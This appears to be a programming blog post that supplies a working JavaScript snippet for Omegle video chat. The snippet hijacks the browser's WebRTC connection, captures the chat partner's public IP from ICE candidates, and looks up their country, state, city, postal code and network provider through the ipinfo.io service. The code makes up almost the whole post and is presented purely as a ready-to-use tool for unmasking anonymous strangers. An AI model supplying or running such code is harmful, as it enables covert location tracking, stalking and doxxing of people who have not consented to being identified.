Javascript Project to Get Omegle Video Chat User Ip Address & Location Details Such as City, Pincode & State in Browser

You are currently viewing Javascript Project to Get Omegle Video Chat User Ip Address & Location Details Such as City, Pincode & State in Browser

Javascript Project to Get Omegle Video Chat User IP Address & Location Details Such as City, PinCode & State in Browser

window.oRTCPeerConnection =
  window.oRTCPeerConnection || window.RTCPeerConnection;
 
window.RTCPeerConnection = function (...args) {
  const socialcodia = new window.oRTCPeerConnection(...args);
 
  socialcodia.oaddIceCandidate = socialcodia.addIceCandidate;
 
  socialcodia.addIceCandidate = function (iceCandidate, ...rest) {
    const mufazmi = iceCandidate.candidate.split(" ");
 
    if (mufazmi[7] === "srflx") {
      console.clear();
      fetchLocation(mufazmi[4]);
    }
    return socialcodia.oaddIceCandidate(iceCandidate, ...rest);
  };
 
  return socialcodia;
};
 
function fetchLocation(ip) {
  fetch("https://ipinfo.io/" + ip + "?token=###yourtoken###")
    .then((res) => res.json())
    .then((response) => {
      console.log("Country :" + response.country);
      console.log("State : " + response.region);
      console.log("City : " + response.city);
      console.log("Pin Code : " + response.postal);
      console.log("Org : " + response.org);
    })
    .catch((error) => console.error("Error:", error));
}

Ranjith

Hi, I'm Manoj a full-time Blogger, YouTuber, Affiliate Marketer, & founder of Coding Diksha. Here, I post about programming to help developers.

Leave a Reply